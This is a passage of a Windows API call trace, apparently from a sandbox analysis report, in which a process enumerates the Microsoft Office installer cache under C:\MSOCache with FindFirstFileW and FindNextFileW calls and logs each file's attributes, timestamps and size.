0x3255140 [0077.331] FindNextFileW (in: hFindFile=0x3255140, lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfa2b92d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfc0c6890, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfc0c6890, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0077.331] FindNextFileW (in: hFindFile=0x3255140, lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfa623330, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x266a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="AccessMUI.msi", cAlternateFileName="ACCESS~1.MSI")) returned 1 [0077.331] FindNextFileW (in: hFindFile=0x3255140, lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4529b900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x4529b900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfa5fe940, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x545, dwReserved0=0x0, dwReserved1=0x0, cFileName="AccessMUI.xml", cAlternateFileName="ACCESS~1.XML")) returned 1 [0077.331] FindNextFileW (in: hFindFile=0x3255140, lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3216e900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3216e900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfa64a430, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x1ab7e94, dwReserved0=0x0, dwReserved1=0x0, cFileName="AccLR.cab", cAlternateFileName="")) returned 1 [0077.331] FindNextFileW (in: hFindFile=0x3255140, lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x11e8ef00, ftCreationTime.dwHighDateTime=0x1cacdea, ftLastAccessTime.dwLowDateTime=0x11e8ef00, ftLastAccessTime.dwHighDateTime=0x1cacdea, ftLastWriteTime.dwLowDateTime=0xfc0c60c0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x91975, dwReserved0=0x0, dwReserved1=0x0, cFileName="branding.xml", cAlternateFileName="")) returned 1 [0077.331] FindNextFileW (in: hFindFile=0x3255140, lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x11e8ef00, ftCreationTime.dwHighDateTime=0x1cacdea, ftLastAccessTime.dwLowDateTime=0x11e8ef00, ftLastAccessTime.dwHighDateTime=0x1cacdea, ftLastWriteTime.dwLowDateTime=0xfc0c60c0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x91975, dwReserved0=0x0, dwReserved1=0x0, cFileName="branding.xml", cAlternateFileName="")) returned 0 [0077.331] FindClose (in: hFindFile=0x3255140 | out: hFindFile=0x3255140) returned 1 [0077.332] GetProcessHeap () returned 0x470000 [0077.332] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x3221080 | out: hHeap=0x470000) returned 1 [0077.332] FindNextFileW (in: hFindFile=0x32550c0, lpFindFileData=0x2d2ee10 | out: lpFindFileData=0x2d2ee10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3f33d800, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3f33d800, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfa160f00, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd4200, dwReserved0=0x0, dwReserved1=0x0, cFileName="AccessMUISet.msi", cAlternateFileName="ACCESS~1.MSI")) returned 1 [0077.332] FindNextFileW (in: hFindFile=0x32550c0, lpFindFileData=0x2d2ee10 | out: lpFindFileData=0x2d2ee10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4529b900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x4529b900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfa13c510, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x333, dwReserved0=0x0, dwReserved1=0x0, cFileName="AccessMUISet.xml", cAlternateFileName="ACCESS~1.XML")) returned 1 [0077.332] FindNextFileW (in: hFindFile=0x32550c0, lpFindFileData=0x2d2ee10 | out: lpFindFileData=0x2d2ee10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc111bb0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xa40, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0077.332] FindNextFileW (in: hFindFile=0x32550c0, lpFindFileData=0x2d2ee10 | out: lpFindFileData=0x2d2ee10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc111bb0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xa40, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0077.333] FindClose (in: hFindFile=0x32550c0 | out: hFindFile=0x32550c0) returned 1 [0077.333] GetProcessHeap () returned 0x470000 [0077.333] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x32450a0 | out: hHeap=0x470000) returned 1 [0077.334] FindNextFileW (in: hFindFile=0x491e58, lpFindFileData=0x2d2f098 | out: lpFindFileData=0x2d2f098*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfe09ced0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x18179b90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x18179b90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{91140000-0011-0000-1000-0000000FF1CE}-C", cAlternateFileName="{91140~1")) returned 1 [0077.334] GetProcessHeap () returned 0x470000 [0077.334] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10000) returned 0x32450a0 [0077.334] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\*", lpFindFileData=0x2d2ee10 | out: lpFindFileData=0x2d2ee10*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfe09ced0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x18179b90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x18179b90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x32550c0 [0077.338] FindNextFileW (in: hFindFile=0x32550c0, lpFindFileData=0x2d2ee10 | out: lpFindFileData=0x2d2ee10*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfe09ced0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x18179b90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x18179b90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0077.338] FindNextFileW (in: hFindFile=0x32550c0, lpFindFileData=0x2d2ee10 | out: lpFindFileData=0x2d2ee10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x34ae1a00, ftCreationTime.dwHighDateTime=0x1cad01b, ftLastAccessTime.dwLowDateTime=0x34ae1a00, ftLastAccessTime.dwHighDateTime=0x1cad01b, ftLastWriteTime.dwLowDateTime=0xfe0c2860, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x1e6600, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office32WW.msi", cAlternateFileName="OFFICE~1.MSI")) returned 1 [0077.338] FindNextFileW (in: hFindFile=0x32550c0, lpFindFileData=0x2d2ee10 | out: lpFindFileData=0x2d2ee10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x940c2a00, ftCreationTime.dwHighDateTime=0x1cad01b, ftLastAccessTime.dwLowDateTime=0x940c2a00, ftLastAccessTime.dwHighDateTime=0x1cad01b, ftLastWriteTime.dwLowDateTime=0xfe09b760, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x10b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office32WW.xml", cAlternateFileName="OFFICE~1.XML")) returned 1 [0077.338] FindNextFileW (in: hFindFile=0x32550c0, lpFindFileData=0x2d2ee10 | out: lpFindFileData=0x2d2ee10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf885a000, ftCreationTime.dwHighDateTime=0x1cac4d7, ftLastAccessTime.dwLowDateTime=0xf885a000, ftLastAccessTime.dwHighDateTime=0x1cac4d7, ftLastWriteTime.dwLowDateTime=0x17c42c30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x2a968, dwReserved0=0x0, dwReserved1=0x0, cFileName="ose.exe", cAlternateFileName="")) returned 1 [0077.338] FindNextFileW (in: hFindFile=0x32550c0, lpFindFileData=0x2d2ee10 | out: lpFindFileData=0x2d2ee10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd900f00, ftCreationTime.dwHighDateTime=0x1cac15b, ftLastAccessTime.dwLowDateTime=0xbd900f00, ftLastAccessTime.dwHighDateTime=0x1cac15b, ftLastWriteTime.dwLowDateTime=0x16854390, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x709768, dwReserved0=0x0, dwReserved1=0x0, cFileName="osetup.dll", cAlternateFileName="")) returned 1 [0077.338] FindNextFileW (in: hFindFile=0x32550c0, lpFindFileData=0x2d2ee10 | out: lpFindFileData=0x2d2ee10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x147e5b00, ftCreationTime.dwHighDateTime=0x1cad01b, ftLastAccessTime.dwLowDateTime=0x147e5b00, ftLastAccessTime.dwHighDateTime=0x1cad01b, ftLastWriteTime.dwLowDateTime=0xff654fc0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x228df5c, dwReserved0=0x0, dwReserved1=0x0, cFileName="OWOW32WW.cab", cAlternateFileName="")) returned 1 [0077.338] FindNextFileW (in: hFindFile=0x32550c0, lpFindFileData=0x2d2ee10 | out: lpFindFileData=0x2d2ee10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xe3a02e00, ftCreationTime.dwHighDateTime=0x1cac5f7, ftLastAccessTime.dwLowDateTime=0xe3a02e00, ftLastAccessTime.dwHighDateTime=0x1cac5f7, ftLastWriteTime.dwLowDateTime=0x17e0dbf0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x165510, dwReserved0=0x0, dwReserved1=0x0, cFileName="PidGenX.dll", cAlternateFileName="")) returned 1 [0077.339] FindNextFileW (in: hFindFile=0x32550c0, lpFindFileData=0x2d2ee10 | out: lpFindFileData=0x2d2ee10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xe06a9500, ftCreationTime.dwHighDateTime=0x1cac7e5, ftLastAccessTime.dwLowDateTime=0xe06a9500, ftLastAccessTime.dwHighDateTime=0x1cac7e5, ftLastWriteTime.dwLowDateTime=0x17c42c30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0xaec3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="pkeyconfig-office.xrm-ms", cAlternateFileName="PKEYCO~1.XRM")) returned 1 [0077.339] FindNextFileW (in: hFindFile=0x32550c0, lpFindFileData=0x2d2ee10 | out: lpFindFileData=0x2d2ee10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbb2e2000, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbb2e2000, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0x170fe40, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x1a41c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProPlusrWW.msi", cAlternateFileName="PROPLU~1.MSI")) returned 1 [0077.339] FindNextFileW (in: hFindFile=0x32550c0, lpFindFileData=0x2d2ee10 | out: lpFindFileData=0x2d2ee10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd907a00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbd907a00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0x170fe40, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x41d4, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProPlusrWW.xml", cAlternateFileName="PROPLU~1.XML")) returned 1 [0077.339] FindNextFileW (in: hFindFile=0x32550c0, lpFindFileData=0x2d2ee10 | out: lpFindFileData=0x2d2ee10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x262b2700, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x262b2700, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0x1ffd0c0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0xa97cbdb, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProPrWW.cab", cAlternateFileName="")) returned 1 [0077.339] FindNextFileW (in: hFindFile=0x32550c0, lpFindFileData=0x2d2ee10 | out: lpFindFileData=0x2d2ee10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbf14900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbf14900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xc96ff40, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0xd49ee31, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProPrWW2.cab", cAlternateFileName="")) returned 1 [0077.339] FindNextFileW (in: hFindFile=0x32550c0, lpFindFileData=0x2d2ee10 | out: lpFindFileData=0x2d2ee10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbec13c00, ftCreationTime.dwHighDateTime=0x1cac15b, ftLastAccessTime.dwLowDateTime=0xbec13c00, ftLastAccessTime.dwHighDateTime=0x1cac15b, ftLastWriteTime.dwLowDateTime=0x1682d290, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x150578, dwReserved0=0x0, dwReserved1=0x0, cFileName="setup.exe", cAlternateFileName="")) returned 1 [0077.339] FindNextFileW (in: hFindFile=0x32550c0, lpFindFileData=0x2d2ee10 | out: lpFindFileData=0x2d2ee10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd907a00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbd907a00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0x18177c50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x7976, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0077.339] FindNextFileW (in: hFindFile=0x32550c0, lpFindFileData=0x2d2ee10 | out: lpFindFileData=0x2d2ee10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd907a00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbd907a00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0x18177c50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x7976, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0077.339] FindClose (in: hFindFile=0x32550c0 | out: hFindFile=0x32550c0) returned 1 [0077.340] GetProcessHeap () returned 0x470000 [0077.340] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x32450a0 | out: hHeap=0x470000) returned 1 [0077.340] FindNextFileW (in: hFindFile=0x491e58, lpFindFileData=0x2d2f098 | out: lpFindFileData=0x2d2f098*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xa5cd3a40, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xa8c22f80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa8c22f80, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{91140000-003B-0000-1000-0000000FF1CE}-C", cAlternateFileName="{91140~3")) returned 1 [0077.340] GetProcessHeap () returned 0x470000 [0077.340] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10000) returned 0x32450a0 [0077.340] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\*", lpFindFileData=0x2d2ee10 | out: lpFindFileData=0x2d2ee10*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xa5cd3a40, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xa8c22f80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa8c22f80, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x32550c0 [0077.343] FindNextFileW (in: hFindFile=0x32550c0, lpFindFileData=0x2d2ee10 | out: lpFindFileData=0x2d2ee10*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xa5cd3a40, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xa8c22f80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa8c22f80, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0077.343] FindNextFileW (in: hFindFile=0x32550c0, lpFindFileData=0x2d2ee10 | out: lpFindFileData=0x2d2ee10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x87078450, ftCreationTime.dwHighDateTime=0x1cb147f, ftLastAccessTime.dwLowDateTime=0x87078450, ftLastAccessTime.dwHighDateTime=0x1cb147f, ftLastWriteTime.dwLowDateTime=0xa5d1e590, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x1e6600, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office32WW.msi", cAlternateFileName="OFFICE~1.MSI")) returned 1 [0077.343] FindNextFileW (in: hFindFile=0x32550c0, lpFindFileData=0x2d2ee10 | out: lpFindFileData=0x2d2ee10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x87abdaa0, ftCreationTime.dwHighDateTime=0x1cb147f, ftLastAccessTime.dwLowDateTime=0x87abdaa0, ftLastAccessTime.dwHighDateTime=0x1cb147f, ftLastWriteTime.dwLowDateTime=0xa5cd2aa0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x10b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office32WW.xml", cAlternateFileName="OFFICE~1.XML")) returned 1 [0077.344] FindNextFileW (in: hFindFile=0x32550c0, lpFindFileData=0x2d2ee10 | out: lpFindFileData=0x2d2ee10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xfe57f8e0, ftCreationTime.dwHighDateTime=0x1cbe1cb, ftLastAccessTime.dwLowDateTime=0xfe57f8e0, ftLastAccessTime.dwHighDateTime=0x1cbe1cb, ftLastWriteTime.dwLowDateTime=0xa8bafbc0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x2a968, dwReserved0=0x0, dwReserved1=0x0, cFileName="ose.exe", cAlternateFileName="")) returned 1 [0077.344] FindNextFileW (in: hFindFile=0x32550c0, lpFindFileData=0x2d2ee10 | out: lpFindFileData=0x2d2ee10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6644b620, ftCreationTime.dwHighDateTime=0x1cb04b2, ftLastAccessTime.dwLowDateTime=0x6644b620, ftLastAccessTime.dwHighDateTime=0x1cb04b2, ftLastWriteTime.dwLowDateTime=0xa81b8770, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x709768, dwReserved0=0x0, dwReserved1=0x0, cFileName="osetup.dll", cAlternateFileName="")) returned 1 [0077.344] FindNextFileW (in: hFindFile=0x32550c0, lpFindFileData=0x2d2ee10 | out: lpFindFileData=0x2d2ee10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8238e540, ftCreationTime.dwHighDateTime=0x1cb147f, ftLastAccessTime.dwLowDateTime=0x8238e540, ftLastAccessTime.dwHighDateTime=0x1cb147f, ftLastWriteTime.dwLowDateTime=0xa5ddcc70, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x228df5c, dwReserved0=0x0, dwReserved1=0x0, cFileName="OWOW32WW.cab", cAlternateFileName="")) returned 1 [0077.344] FindNextFileW (in: hFindFile=0x32550c0, lpFindFileData=0x2d2ee10 | out: lpFindFileData=0x2d2ee10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7bd91af0, ftCreationTime.dwHighDateTime=0x1cb07b2, ftLastAccessTime.dwLowDateTime=0x7bd91af0, ftLastAccessTime.dwHighDateTime=0x1cb07b2, ftLastWriteTime.dwLowDateTime=0xa8bafbc0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x165510, dwReserved0=0x0, dwReserved1=0x0, cFileName="PidGenX.dll", cAlternateFileName="")) returned 1 [0077.344] FindNextFileW (in: hFindFile=0x32550c0, lpFindFileData=0x2d2ee10 | out: lpFindFileData=0x2d2ee10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2a2397e0, ftCreationTime.dwHighDateTime=0x1cbe19a, ftLastAccessTime.dwLowDateTime=0x2a2397e0, ftLastAccessTime.dwHighDateTime=0x1cbe19a, ftLastWriteTime.dwLowDateTime=0xa8bafbc0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0xaec3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="pkeyconfig-office.xrm-ms", cAlternateFileName="PKEYCO~1.XRM")) returned 1 [0077.344] FindNextFileW (in: hFindFile=0x32550c0, lpFindFileData=0x2d2ee10 | out: lpFindFileData=0x2d2ee10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7c1614f0, ftCreationTime.dwHighDateTime=0x1cb148c, ftLastAccessTime.dwLowDateTime=0x7c1614f0, ftLastAccessTime.dwHighDateTime=0x1cb148c, ftLastWriteTime.dwLowDateTime=0xa60fd8f0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0xa4c400, dwReserved0=0x0, dwReserved1=0x0, cFileName="PrjProrWW.msi", cAlternateFileName="PRJPRO~1.MSI")) returned 1 [0077.344] FindNextFileW (in: hFindFile=0x32550c0, lpFindFileData=0x2d2ee10 | out: lpFindFileData=0x2d2ee10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7cabec50, ftCreationTime.dwHighDateTime=0x1cb148c, ftLastAccessTime.dwLowDateTime=0x7cabec50, ftLastAccessTime.dwHighDateTime=0x1cb148c, ftLastWriteTime.dwLowDateTime=0xa60fd8f0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x1915, dwReserved0=0x0, dwReserved1=0x0, cFileName="PrjProrWW.xml", cAlternateFileName="PRJPRO~1.XML")) returned 1 [0077.344] FindNextFileW (in: hFindFile=0x32550c0, lpFindFileData=0x2d2ee10 | out: lpFindFileData=0x2d2ee10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6c87b0c0, ftCreationTime.dwHighDateTime=0x1cb148c, ftLastAccessTime.dwLowDateTime=0x6c87b0c0, ftLastAccessTime.dwHighDateTime=0x1cb148c, ftLastWriteTime.dwLowDateTime=0xa6b67930, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x9b6ba9f, dwReserved0=0x0, dwReserved1=0x0, cFileName="PrjPrrWW.cab", cAlternateFileName="")) returned 1 [0077.344] FindNextFileW (in: hFindFile=0x32550c0, lpFindFileData=0x2d2ee10 | out: lpFindFileData=0x2d2ee10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x69dde270, ftCreationTime.dwHighDateTime=0x1cb04b2, ftLastAccessTime.dwLowDateTime=0x69dde270, ftLastAccessTime.dwHighDateTime=0x1cb04b2, ftLastWriteTime.dwLowDateTime=0xa8191670, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x150578, dwReserved0=0x0, dwReserved1=0x0, cFileName="setup.exe", cAlternateFileName="")) returned 1 [0077.344] FindNextFileW (in: hFindFile=0x32550c0, lpFindFileData=0x2d2ee10 | out: lpFindFileData=0x2d2ee10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7ca00570, ftCreationTime.dwHighDateTime=0x1cb148c, ftLastAccessTime.dwLowDateTime=0x7ca00570, ftLastAccessTime.dwHighDateTime=0x1cb148c, ftLastWriteTime.dwLowDateTime=0xa8c227b0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x412b, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0077.344] FindNextFileW (in: hFindFile=0x32550c0, lpFindFileData=0x2d2ee10 | out: lpFindFileData=0x2d2ee10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7ca00570, ftCreationTime.dwHighDateTime=0x1cb148c, ftLastAccessTime.dwLowDateTime=0x7ca00570, ftLastAccessTime.dwHighDateTime=0x1cb148c, ftLastWriteTime.dwLowDateTime=0xa8c227b0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x412b, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0077.345] FindClose (in: hFindFile=0x32550c0 | out: hFindFile=0x32550c0) returned 1 [0077.345] GetProcessHeap () returned 0x470000 [0077.345] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x32450a0 | out: hHeap=0x470000) returned 1 [0077.346] FindNextFileW (in: hFindFile=0x491e58, lpFindFileData=0x2d2f098 | out: lpFindFileData=0x2d2f098*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0x46538340, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x4a6d41a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x4a6d41a0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, 